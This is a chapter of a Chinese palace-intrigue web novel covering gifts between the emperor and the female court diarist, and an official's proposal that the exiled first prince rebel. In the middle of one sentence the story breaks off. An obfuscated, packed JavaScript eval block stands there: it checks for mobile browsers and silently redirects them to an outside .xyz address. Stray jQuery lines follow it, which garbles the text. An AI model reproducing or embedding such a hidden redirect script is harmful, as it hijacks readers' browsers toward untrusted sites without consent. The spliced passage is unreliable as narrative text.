25. 登门

作品:《标题党也能当首辅吗

    傅文松迟疑:“我行吗?”


    “当然行!你可是帮着云承考上举人的人。”


    “云承,他还好吗?”


    “挺好的,虽然不是一甲,但也考上庶吉士进了翰林院,眼下他有了清贵出身,又恰逢陛下重用寒门,好日子还在后头呢。”


    “那就好。表妹你何时跟陛下回书院,我跟你们一起下山。”


    “你答应啦?”


    傅文松笑着点头:“嗯,表妹已经帮我铺好了路,我岂能辜负你一番好意,只是……”


    “怎么了?”江幼宜疑惑。


    傅文松试探道:“你跟陛下?”


    “我跟陛下什么都没有。”江幼宜飞速否认。


    “我是说,刚刚我看你跟陛下似乎有些矛盾?你所说的编辑部应该也是陛下的布局之一,你贸然把我安排进去,陛下能同意吗?”


    “表哥放心,陛下说过,这件事交由我全权负责,表哥就是最合适的人选,并非是我以权谋私,任人唯亲。而且陛下他神通广大,什么都知道,肯定不会误会。表哥可以收拾下行囊,我去问问我们何时下山。”


    “好。”


    ——


    刚刚才硬邦邦把谢怀川刚走,现在又得上赶着去问行程安排,江幼宜低着头,脚步慢吞吞地往谢怀礼的院落走去。


    “江姑娘?”


    江幼宜抬头看去,是谢怀礼和一个陌生男人,俩人正在桃林摘桃子,相处十分亲密和谐,不像上下级,她朝谢怀礼打招呼:“大皇子。”又把视线转向陌生男人,她直觉,这位应该就是那位“哥控”端王。


    “这位可是端王殿下?”


    “你是何人?”谢怀义打量着眼前的女人,略有些嫌弃,听声音明明是个年轻女子,却一副老妪打扮,关键是脸上的粉十分斑驳,这个女人难不成是乔装打扮混进来纠缠大皇兄的?


    “启禀殿下,臣是起居舍人江幼宜。”


    原来是谢怀川带上来的人。不对,起居舍人怎么是个女人?谢怀义一脸惊异,上上下下打量江幼宜。


    “江姑娘是来?”


    “我来寻陛下。”


    “你的陛下可不在这里。”谢怀义嗤笑道,别以为他不知道,分明就是找借口来纠缠大皇兄的。


    谢怀礼微微诧异,问道:“江姑娘,陛下没有去寻你吗?”不应该啊,刚刚他分明看到六皇弟拿着两个柿子往江姑娘表哥住处那边去了。


    这下轮到江幼宜愣住了,陛下刚刚确实是去寻她了……看来陛下从表哥那边离开之后没再回来,而眼下大皇子也不知道陛下去哪里了。


    “多谢大皇子和端王殿下,在下告辞。”暂时寻不到,还是先回表哥那边吧。


    看来真不是来纠缠皇兄的,而是跟谢怀川有猫腻,谢怀义一脸八卦地问:“皇兄,什么情况啊?”他最爱看谢怀川的笑话了!


    谢怀礼无奈摇头:“君子不背后议人是非,好了,先摘这么多,我们回去吧。”


    影一看着下山一趟只为买皇后爱吃的点心,看见正主又躲起来的陛下叹息,他拎着点心盒子上前:“大人,这里面是您爱吃的点心,中秋将近,当地时兴的月饼也装了一些,您拿去尝尝吧。”


    “谁买的?”其实她知道,肯定是谢怀川吩咐影一去买的。


    影一提着点心盒子心里发苦,陛下不让说是他买的,他也不能冒领陛下的功劳,索性闭口不言,只道:“大人,收下吧。”


    江幼宜余光扫到影一身后的墙角,一截衣摆露在外面,难道是谢怀川亲自下山买的吗?她也太自作多情了,堂堂天子,想买个点心多得是人争着抢着替他跑腿,这山上下一趟这么难,怎么可能会亲自去?


    她还需要谢怀川,对方既然已经给了台阶,就顺着下吧。不然朝中寒门也不止她一个,对方随时可以换个利用对象,而自己一旦成了弃子,就什么都不是了。


    江幼宜伸手接过点心盒子,沉甸甸的:“多谢,陛下可有说过何时下山?”


    “中秋过后。”


    想来是跟大皇子多年未见,要一起过个团圆节再离开吧,她点点头:“好。”


    影一突然又把江幼宜手中的点心盒子拿回去:“大人,盒子沉,您要去哪?我帮您拿。”


    “多谢,去表哥院子里。”


    “幼宜,有人给你送来了两套衣服。”傅文松看到江幼宜出现在视线中,出门迎了上去。


    “衣服?”江幼宜低头看一眼,自己这身打扮确实不怎么入眼,到了山上发生这一出出的事情,也没来得及更换衣物,现在想想,顶着不堪入目的妆容和褴褛的衣衫在几位皇嗣眼前来回晃的确不妥。


    她跟着傅文松进屋,桌子上的两套衣服都是她的尺码,一套男装,一套女装,她想了想,反正她的身份在这群人眼中已经暴露的彻底,再没什么好隐藏的。


    影一跟在两人身后进屋,放下点心盒子识趣退出,临走前瞥一眼那两件衣服。


    “陛下说中秋后再下山,表哥,你院子里还有地方吗,容我住几晚。”


    “当然有,我已经收拾好了。”


    江幼宜拿起那套枫叶红的衣裙,做工很精美,料子也很柔软,还有银丝织入其中,很有光泽感,抖动间流光溢彩,上半身的刺绣也很精致,堪比现代高定。


    “幼宜可要沐浴?我去烧水。”傅文松看江幼宜似乎对这条裙子很是喜爱。


    “那就有劳表哥了。”


    话音刚落,院子里传来影一的声音:“大人,热水来了。”


    ……


    除了热水,还有一个崭新的浴桶,正好都是她需要的,点心收了,衣服也收了,热水和浴桶比起来好像份量就没那么重,心理压力没那么大,而且又恰好是她需要的,江幼宜没有推拒。


    “幼宜,你和陛下,真的没什么吗?”


    “当然!这是因为陛下之前做了对不起我的事,也不算对不起,反正是他理亏的事,我这么能干,他想用这些东西补偿我,好让我继续死心塌地为他效劳,很合理。”


    或许是因为自己知道谢怀川的秘密,她们俩现在是一条绳上的蚂蚱;也或许是现在不在京城,再重新起用新的寒门很麻烦。总而言之,自己现在对于现阶段的谢怀川十分重要。


    没错,就是这样,那就互相利用下去吧!江幼宜憋着一口气,任由自己被淹没在浴桶里。


    “师叔,那人还没走,说一日见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465247|183001||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不到您,就一日不下山。”


    谢怀礼放下手中的经书,给谢怀川使了个眼色:“请他进来吧。”


    谢怀川藏身到后方的书房中。


    身着常服的蒋仁德亲自捧着一个盒子踏进小院,人未至,声先到:“下官拜见大皇子。”


    进门一看,除了大皇子,旁边还坐着个端王,盒子呈给道童,撩袍下跪:“不知端王在此,这……下官只备了一份节礼,请端王恕罪。”


    谢怀义冷眼看人在地上跪了一会儿,才开口道:“不知者无罪,起来吧。”


    “蒋大人,我身上既无爵位,又已决心修道,脱离红尘,不必再以皇子称我,如今我只是玉清观的云隐道士。”


    “臣素闻大皇子贤名,一直仰慕有加,只可惜当年臣只是一个小小县令,帮不上大皇子。”


    谢怀礼沉下脸:“当年事已过,往事不必再提!”


    蒋仁德丝毫不惧:“殿下,当年之事,有心人都知道您是被陷害的,如此错失皇位,您真的甘心吗?”


    “大胆!”谢怀礼一拍桌子,怒视对方。


    “不管您怎么训斥下官,下官心中都是如此想的,当今天子德不配位,得位不正,是非曲直皆在百姓心中,您有端王殿下相助,未必没有一争之力,况且……”


    “况且什么?说啊。”谢怀义着急催促,等不及蒋仁德开口就朝谢怀礼道,“皇兄,你看,并非只有我一个人这么想,那个谢怀川整日游山玩水,纵容后宫外戚把持朝政,丝毫不把江山社稷放在心上,这样的人怎么配当皇帝?”


    蒋仁德看着若有所思的谢怀礼,低下头勾起嘴角:“端王殿下所言甚是,江南富庶,国库空虚,天子不得人心,殿下,眼下就是最好的时机啊!臣一生别无所求,只愿能用一身本事为民谋福祉,追随一明主!”


    “这不是小事,你先回去,容我好好想想,再做决定。”谢怀礼一脸疲惫地捏捏眉心。


    蒋仁德深知这种事不可能仅凭他一次登门就能谈成,他看了桌上的盒子一眼:“下官告退。”


    谢怀义看到人走了,伸手打开盒子,倒吸一口凉气,谢怀礼也是一脸凝重。


    谢怀川从书房走出来,拿起盒子里的东西,寒光闪闪,是剑,一把好剑:“这剑是新铸的,没有标号,非军中规制,他背后肯定还有别人,拥有私铸兵器的能力,不可小觑。”


    “已经私铸兵器了,才来找上我,这个时候拉我上船,无非是想利用我扯个拨乱反正的名号。”


    “怕是不止,对方还盯上了四皇兄的财力。”


    谢怀义眉头紧皱,一脸嫌恶:“到底是谁?难不成对方还与兵部之人有勾结?”


    “到底是谁,试试便知。”


    “皇兄,不可,对方有私兵,这无异于与虎谋皮。”谢怀川劝道,一旦暴露,皇兄何其危险。


    “对方已经盯上我,这贼船上与不上怕是由不得我做主了,趁着事情还有挽回的机会,我便去一探虚实,如果能成功揪出幕后主使,也能避免再起兵祸。”


    “皇兄!”


    “孰轻孰重,你比我清楚,莫要再劝,何况我也不是立刻就答应随他去,在此期间就靠你去追查了。”